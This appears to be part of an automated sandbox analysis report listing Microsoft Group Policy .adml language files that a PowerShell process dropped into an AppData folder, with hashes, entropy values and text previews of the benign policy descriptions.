Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Programs">Programs</string>.. <string id="NoProgramsCPL">Hide the Programs Control Panel</string>.. <string id="NoProgramsCPL_Help">This setting prevents users from using the Programs Control Panel in Category View and Programs and Features in Classic View... ..The Programs Control Panel allows users to uninstall, change, and repair programs, enable and disable Windows Features, set program defaults, view installed updates, and purchase software from Windows Marketplace. Programs published or assigned to

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\PswdSync.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (366), with CRLF line terminators
Category:	dropped
Size (bytes):	4835
Entropy (8bit):	4.774670262203608
Encrypted:	false
SSDEEP:	96:LeD5pmMM44GDFsil1oXY7XlMXC3K8GDFeMbiZC0XEV:EB4eFUXUXuy33eFPAX0
MD5:	81A4179A1F50B390A55CEC61B95F6752
SHA1:	1D21A6C288E6EB744C52CCAA2A81298CAB467B12
SHA-256:	5A277C91D697FECAEBECFD1AA4A38F6027C5800BFB4B5EBEBBA90251C788BEAB
SHA-512:	F79C992F4FA17D80A8B65F7AB9753DBBBC12295B80DBDAA3C71CE417B63F9B39774D4ABF5381FD45320E684728FBD05D3761FF37F53A26A3076DF20C3EA2DB71
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PswdSync">Password Synchronization</string>.. <string id="Psync_LoggingLevel">Turn on extensive logging for Password Synchronization</string>.. <string id="Psync_LoggingLevel_Help">This policy setting allows an administrator to turn on extensive logging for Password Synchronization.....If you enable this policy setting, all affected computers that are running Password Synchronization log intermediate steps for password synchronization attempts.....If you disable or do not configure this policy setting, in

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\QOS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	22100
Entropy (8bit):	4.777240545794819
Encrypted:	false
SSDEEP:	384:S0I0F0I0w0i0O0Q0c0K0F1P0mDeWvyz0gx0YV0BI0l+0Xe0X:f+
MD5:	5A29BFD51F48A0377276834F0B8BAF80
SHA1:	E1F484C1462470950E95ADC7D7E4FC1A6FA273B6
SHA-256:	39B7A57E44813AFFEF1380FC4A2CE929EDAAAB031B457C50381A76996FD6B654
SHA-512:	DE4B16EDBAB62DEDF2AC48ABF223AE084B29A7DC6231507ECE14DF273CECA57F1E86C4C9AFAF0CE627394C6523E7D140A1A60E8E9B8D5D7FA93C57304BEE2AF3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="QosDBMC_BestEffort_Help">Specifies an alternate Layer-3 Differentiated Services Code Point (DSCP) value for packets with the Best Effort service type (ServiceTypeBestEffort). The Packet Scheduler inserts the corresponding DSCP value in the IP header of the packets.....This setting applies only to packets that conform to the flow specification.....If you enable this setting, you can change the default DSCP value associated with the Best Effort service type.....If you disable this setting, the system uses the default

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\RPC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (491), with CRLF line terminators
Category:	dropped
Size (bytes):	13725
Entropy (8bit):	4.739504626052788
Encrypted:	false
SSDEEP:	192:EuPHdbK3t1tsbRP7MaC+9D29YVm8yvRyd4+gzsBUNh8yhXOLzUFoNP1npbNjtKjr:9vdew4argz4/gzsGbF5OLzQm1pFtcr
MD5:	C7D0520662B4D6F3A33CD02E7D078832
SHA1:	2092E311A0CDB5F1EDBFC9D3A39490EA6F061314
SHA-256:	A1595A8F7F77496CB3DAE9BA4A8787985FF7C5C7B50BCE6EA19ECC823B874C57
SHA-512:	0F23E0D8B3A0C3007C81794DEA01E218A6810AF134BB40DE84C7509BC2F82C0E6F919E4C2994C2964C977C9F7EC0DFB4456328C928C3A3A67B5EC1126152ACE0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Rpc">Remote Procedure Call</string>.. <string id="RpcEEInfoOff">Off</string>.. <string id="RpcEEInfoOffWithExc">Off with Exceptions</string>.. <string id="RpcEEInfoOn">On</string>.. <string id="RpcEEInfoOnWithExc">On with Exceptions</string>.. <string id="RpcEnableAuthEpResolution">Enable RPC Endpoint Mapper Client Authentication</string>.. <string id="RpcEnableAuthEpResolution_Help">This policy setting controls whether RPC clients authenticate with the Endpoint Mapper Service when the

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\RacWmiProv.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	4.961792727852399
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3FNPKJAzSIveqsUA0j01oSxz1kFV:cgeD5x8gmYAkFVgeMFV
MD5:	B8793F540E47EE449A0369A0569CFB8A
SHA1:	3701D0618E2079A6EFDAD7748C21B6B236CD2070
SHA-256:	4BEFE402E1D8BAF094346887C509331398720109298EEB4DD947879DFE0A9216
SHA-512:	59C4192172AC1BF0278659B1876B3E71ECDD0FE4E2E6B0EC33796C75566F85C0BD1AD6FF5D3BC57382532D65CA3914982369F199781B1DC6E84C1B69CA517D32
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Reliability Analysis Component</displayName>.. <description>Reliability Analysis Component</description>.. <resources>.. <stringTable>.. <string id="RAC">Windows Reliability Analysis</string>.. <string id="ConfigureRacWmi">Configure Reliability WMI Providers</string>.. <string id="ConfigureRacWmi_help">This policy setting allows the Windows Management Instrumentation (WMI) providers Win32_ReliabilityStabilitymetrics and Win32_ReliabilityRecords to provide data to Reliability Monitor in the Action Center control panel, and to respond to WMI requests.....If you enable or do not configure this policy setting, the listed providers will resp

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Radar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (563), with CRLF line terminators
Category:	dropped
Size (bytes):	2714
Entropy (8bit):	4.801755208450146
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKbFnok+9MKFLOL5dEyIsaVZ57O0BsYu+P4XEgV:LeD5pmnFnok+9RL+M5jVZ8CsuPeV
MD5:	64AFB930E79CDCDF1D967B37180DEC5C
SHA1:	AA45CC6BCA49EF263EC3880FFE65F1C5D936CC70
SHA-256:	8C710DC3983ED5962C5F7D40C3390C660AE7597CEA71F2BF8FF68B6EFC594CB7
SHA-512:	BF40F01F07FB8674902D50A9C7B6C3636714B6C3E5FFC1D045689B46A63024379CB1FE45092FF98912E265433FD4A8970B4CCF539F1AA56831E2283231D55AC7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Windows Resource Exhaustion Detection and Resolution</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">Determines the execution level for Windows Resource Exhaustion Detection and Resolution.....If you enable this policy setting, you must select an execution level from the dropdown menu. If you select problem detection and troubleshooting only, the Diagnostic Policy Service (DPS) will detect

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ReAgent.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (483), with CRLF line terminators
Category:	dropped
Size (bytes):	1817
Entropy (8bit):	4.807685062167235
Encrypted:	false
SSDEEP:	48:cgeD5x8gmclqzPa520pns19F9K0SppRPRDdamFV:LeD5pmnvI3R9FV
MD5:	74A0325268266B2CDE0E3F5F1597F203
SHA1:	088E690A896920238445D6605ACBE4F40498742F
SHA-256:	11AB21A9F9176CBC644DBDC5020FA4791086234FB126A5F0885315EFD299BB35
SHA-512:	D79952DFB16CF46EF6D91DC4031CDAD7F7D060E92E16E18CECA3CA5B69F017C895FD54655F05F6CEE08C027CC3981BDA16F798726C69A39C95FF923D763B72F0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Recovery</displayName>.. <description>Recovery</description>.. <resources>.. <stringTable>.. <string id="WinRE">Recovery</string>.. <string id="ConfigureWinRESetup">Allow restore of system to default state</string>.. <string id="ConfigureWinRESetup_help"> Requirements: Windows 7.. Description: This policy setting controls whether users can access the options in Recovery (in Control Panel) to restore the computer to the original state or from a user-created system image..... If you enable or do not configure this policy setting, the items "Use a system image you created earlier to recover your computer" and "Reinstall Windows" (

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Reliability.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5310
Entropy (8bit):	4.781992069178365
Encrypted:	false
SSDEEP:	96:LeD5pmAydEk3E7mEvPexos3w33I3tcGBQ4pdV:E8EkCmE3exoiO32tTBQy
MD5:	0B7DB39B4E35B6787C19C79280664C11
SHA1:	870AA05E92B4B0FACEC8EC4E7D8F5C428748A5A4
SHA-256:	3FC94A050B5B845BF0D21AB6D0718A5BC0FD292624A6AA4E7D8E06317DE34863
SHA-512:	6E9A356BCE00B25A998A0B63BF6C0B29521DE43DD155712A025311518DC212384C4599B48D403E3E1DD2580E3B5F1D6688930D7441A66488C6A7870EF3233F87
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EE_EnablePersistentTimeStamp">Enable Persistent Time Stamp</string>.. <string id="EE_EnablePersistentTimeStamp_Help">This policy setting allows the system to detect the time of unexpected shutdowns by writing the current time to disk on a schedule controlled by the Timestamp Interval.....If you enable this policy setting, you are able to specify how often the Persistent System Timestamp is refreshed and subsequently written to the disk. You can specify the Timestamp Interval in seconds.....If you disable this

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\RemoteAssistance.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (455), with CRLF line terminators
Category:	dropped
Size (bytes):	10373
Entropy (8bit):	4.861749081876546
Encrypted:	false
SSDEEP:	192:E2YJPhavu9rf+gZnyy8uI30F3GF3QRcb4vervzv6lQ4:Nfu9rf+CZ8uI30F3GF3QRcbSebjqQ4
MD5:	F239E9C6B37ABE7AEE14C64FCD64D86A
SHA1:	D703C2A53723A2F933DE2456E706154A29194247
SHA-256:	428CCC88349680A1684A33176FED4E4B8BC544EC7B29DCD71CB17BFFE274D16F
SHA-512:	8221ABD08D82C27C4AAE3136E8E085C56BF8FF3D4059583F744C5837C61AAD0832D9AE5E84EF77780890A01684EB4F5D5CA33A7E35986435F771FDB67F66D11F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="RA_Logging">Turn on session logging</string>.. <string id="RA_Logging_Help">This policy setting allows you to turn logging on or off. Log files are located in the user's Documents folder under Remote Assistance.....If you enable this policy setting, log files are generated.....If you disable this policy setting, log files are not generated.....If you do not configure this setting, application-based settings are used.</string>.. <string id="RA_Optimize_Bandwidth">Turn on bandwidth optimization</string>..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\RemovableStorage.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (302), with CRLF line terminators
Category:	dropped
Size (bytes):	13642
Entropy (8bit):	4.756771021239847
Encrypted:	false
SSDEEP:	192:EnzGj8hc8ROewd8BWwfZ6P0OuI3CDzGvnt7fdXV/gBLtDNGaUgmGaUTGaUFmGaU6:NtjIvGaUBGaUTGaUEGaUUGaUW
MD5:	3C7C9203B770747E42F16415384ACA91
SHA1:	577E03EBA471F120DB1A1D96648E18E215C57982
SHA-256:	61727D2632E0E816A562C6489E5732206A94D3F3581D35042F72FC03A7ECD3D0
SHA-512:	7C3F140959497EC753935942A4CB063BA3D431D1F5C4A6FA16BEBD065DE5280C9C0AC34E2A938E413CC7B68A78D2C33BE73DE58F74B1BD71A4A8DBDD12ABF080
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AccessRights_RebootTime">Set time (in seconds) to force reboot</string>.. <string id="AccessRights_RebootTime_Help">This policy setting configures the amount of time (in seconds) that the operating system waits to reboot in order to enforce a change in access rights to removable storage devices.....If you enable this policy setting, you can set the number of seconds you want the system to wait until a reboot.....If you disable or do not configure this setting, the operating system does not force a reboot.....N

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Scripts.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (331), with CRLF line terminators
Category:	dropped
Size (bytes):	12538
Entropy (8bit):	4.768527840947223
Encrypted:	false
SSDEEP:	192:E4w/xBxQzr/8RRROAHPKc16VcDuJxR1Vi3ia67NitbK0pft+pw7TUlyUAGSJ:wnRRPgHkS9A9D1P
MD5:	6B1C987D0C322DD0DD627EC2020F90AC
SHA1:	C25254DCB050E342AB84633F084B9ABC06EF9239
SHA-256:	EBC840298B0A1FB37F1DB1DF288FC5FAEA981B2F8AE4BE9E0E07D11A1E9E0FB5
SHA-512:	915A3DB4C3C0572BE46009BA976FFB606FD304B5908207F288C06DFA6A2281153304E7FF368E446BB8CE5217E0DB4FF849DD2119904007057D85ADEBB9B75325
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MaxGPOScriptWaitPolicy">Specify maximum wait time for Group Policy scripts</string>.. <string id="MaxGPOScriptWaitPolicy_Help">This policy setting determines how long the system waits for scripts applied by Group Policy to run. ....This setting limits the total time allowed for all logon, logoff, startup, and shutdown scripts applied by Group Policy to finish running. If the scripts have not finished running when the specified time expires, the system stops script processing and records an error event.....If y

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Securitycenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (622), with CRLF line terminators
Category:	dropped
Size (bytes):	2466
Entropy (8bit):	4.781426635707619
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKBtxHxPUNbhQaB6+J5KaeKUYF1vKUYox2P1C9L5GkMo/2VcSurcFV:LeD5pmdtxHxG64MYfYo8NQL8IGrccFV
MD5:	BB7C4CF9B3DDFEFAE5FF4C38B5026EB3
SHA1:	157C536B83CB87B194C8BF8018A965EF72DC314B
SHA-256:	F49034EF8C96F7E5A19AFB7873AFB1A3F289630390E36C163B12FD2DDC15637A
SHA-512:	DE9E2E1824A0B9B03AFC476090D361DD5808C6D0B6C8EB70C7DFC590D8B222C78D062CAB2580E8F74F243CD713EB268BFC72BE232698F15CA269EE007F6B41DE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SecurityCenter">Security Center</string>.. <string id="SecurityCenter_SecurityCenterInDomain">Turn on Security Center (Domain PCs only)</string>.. <string id="SecurityCenter_SecurityCenterInDomain_Help">This policy setting specifies whether Security Center is turned on or off for computers that are joined to an Active Directory domain. When Security Center is turned on, it monitors essential security settings and notifies the user when the computer might be at risk. The Security Center Control Panel categ

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Sensors.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	4.6874178503699655
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKcgWEhQnwgbc+ijJzo/DQxCGgbxCEinEqcN8gUOZFV:LeD5pmkRLRSo/k0V0EvN4CFV
MD5:	7CAFF134D90FB9D9BFFD1931A3B7A077
SHA1:	6C1305F61CF2978F73F3C8DF3FB7639BC3761863
SHA-256:	B102166CF6A473DCE4ADC301156086D0EBA710EFFFA1C4A569EA480994A7F5B4
SHA-512:	2D7427C5572797903A6539A872B9AF3062F23BDF24E3004EC61388D321ABBDCF1D063DB00F5703BDC708AA1AE1B5FCF3262F961C3E9CFBC44BFDE8C001A4583D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableSensors">Turn off sensors</string>.. <string id="DisableSensors_Explain">.. This policy setting turns off the sensor feature for this computer..... If you enable this policy setting, the sensor feature is turned off, and all programs on this computer cannot use the sensor feature..... If you disable or do not configure this policy setting, all programs on this computer can use the sensor feature... </string>.. <string id="DisableLocation">Turn off location</string>..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ServerManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (387), with CRLF line terminators
Category:	dropped
Size (bytes):	4955
Entropy (8bit):	4.805565480068189
Encrypted:	false
SSDEEP:	96:LeD5pmHhpF4FGEkPDY1o1NucOc3EfqYz0LYS0zYS0jfBQ3V:E2hpi4rPE1o1NudbrUMqfBQF
MD5:	65C390CEDEDFD130518B61FA1235250A
SHA1:	6A55E7AC36FE463A16AF0BE1F7F8B5C1848C0D97
SHA-256:	E47082B33ACA0FB727E6486ECA05ED0F7E309923D214DF7D6D1E9E1BB6B58A93
SHA-512:	FAC7D91F8DAE73E2719FE7D9E8BDAE71A4B3DD4375943DA8F0B9992E4554E0E95A503BB5F5EEAC6E6475209F9051B343D2928D028A3355EA58F987DD76ADD03D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsServer2008OrWindowsServer2008R2Only">Windows Server 2008 and Windows Server 2008 R2 operating systems only</string>.. <string id="DoNotLaunchServerManager">Do not display Server Manager automatically at logon</string>.. <string id="DoNotLaunchServerManagerHelp">This policy setting allows you to turn off the automatic display of Server Manager at logon.....If you enable this policy setting, Server Manager is not displayed automatically when a user logs on to the server.....If you disable t

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Servicing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (408), with CRLF line terminators
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	4.892231615075483
Encrypted:	false
SSDEEP:	48:cs+D5p8lF9YGTBdVhcNZPhcNspL8K5pWNLcrdYAkWQ/tgiwavEARV:P+D5iF9YGTnVhcNhhcNspL8KiNFBWQ/P
MD5:	C16E4D55B366521038B07E5B2EAA4D1A
SHA1:	C8FA7021E315736D6ED23ACA59D8B0CC3460FDD2
SHA-256:	0FB29A9479B51033FDE4838E9E61D1D382B173EF4F43C00799EF97940F0E498C
SHA-512:	9DC2BFAAE5885EE74E4AB8C7E9D0B6557550F8E6315199F23006F202AA234244CA1802D2D289F95E3213CA577DBD14D7D086CED34BDE2349C127CB31141E2512
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitionResources revision="1.0" schemaVersion="1.0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Servicing Policies</displayName>.. <description>Windows Servicing Policies</description>.. <resources>.. <stringTable>.. <string id="CloudFulfillmentGPO">Specify settings for optional component installation and component repair</string>.. <string id="CloudFulfillmentGPOExplanation">..This policy setting specifies the network locations that will be used for the repair of operating system corruption and for enabling optional features that have had their payload files removed.....If you enable this policy setting and specify the new location, the files in that location will be used to repair operating system corruption and for enabling

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\SettingSync.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9740
Entropy (8bit):	4.723278539465857
Encrypted:	false
SSDEEP:	96:PD5pmpC5ZTUe/5edwuTysvjk9yGfUqWxOV:ftHUwueIjkkGfnWw
MD5:	A46525DCC0BBEFF3717004AA7D5E686B
SHA1:	85429467F34FFB172D7E404E60542C50090C6AFE
SHA-256:	044A3C384EC4E46E9EE6AA4BF4D28F3027A758DE7A9163324FE80EE466E935E5
SHA-512:	551C90AD33D7ECBE6E0D45B1FF22ED092C239EFC63189D7D0E0FF1147E82C3694ECE958DF4DF5A89F87E4CE966284D9317CEE93D6F38B76152ED26A3D2DC54A0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. General -->.. <string id="SettingSyncCategory">Sync your settings</string>.... Main policy -->.. <string id="DisableSettingSync">Do not sync</string>.. <string id="DisableSettingSync_Help">Prevent syncing to and from this PC. This turns off and disables the "sync your settings" switch on the "sync your settings" page in PC Settings.....If you enable this policy setting, "sync your settings" will be turned off, and none of the "sync your setting" groups will be synced on this PC.....Use the option

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Setup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2060
Entropy (8bit):	4.847450101986129
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ybvkTvKvkTlE6OmYyfbTebTlCa/Yi7R0ryMOVjoV:cgeD5x8gm8fKnxRRxYEbQRj/Yi7S0oV
MD5:	9940A876376DFACA4C22AEB49D5E98D1
SHA1:	4092EC36B7F64EB2D076D11F04AFBB38C95A9AEB
SHA-256:	F0AF5022E574F037FEFF288B1944788E08E9F1C3CC29E2968022B05EE8A12D71
SHA-512:	DE5BF65874ABDF5AF96EA22C5D97170AE5B3312B39A2FB3C19F1E33D0A7AC71F2633510E2CE1C87794FE818CD50DA4FB2D328E69C1E0005D9C8D86B96A88C1D8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ServicePackSourcePath">Specify Windows Service Pack installation file location</string>.. <string id="ServicePackSourcePath_Help">Specifies an alternate location for Windows Service Pack installation files.....If you enable this policy setting, enter the fully qualified path to the new location in the "Windows Service Pack Setup file path" box.....If you disable or do not configure this policy setting, the Windows Service Pack Setup source path will be the location used during the last time Windows Service Pac

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\SharedFolders.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1850
Entropy (8bit):	4.859149246040625
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKgJxujBDrfS1Z/yqqqYu5BV5ocfS1Z/MFV:LeD5pmCeKV4JcKVMFV
MD5:	B512AC9CA34BC2605D206FA9D22778F1
SHA1:	21E31C62BA3B2E963A2A78B9490270D87E14F082
SHA-256:	3649D182A6D570C693D564E11B80127960E3F34BD98C2DABC5E5A1F640B7EACF
SHA-512:	2F726D9A4E067AC354A7C6E5EC36EC5973CD04731E4A14DF3DE30061447A077F38F8B4752112E0DB0BA3E1DACCB6A0C98F148F4FB00FCBEE07B6D6A7206020F0
Malicious:	false
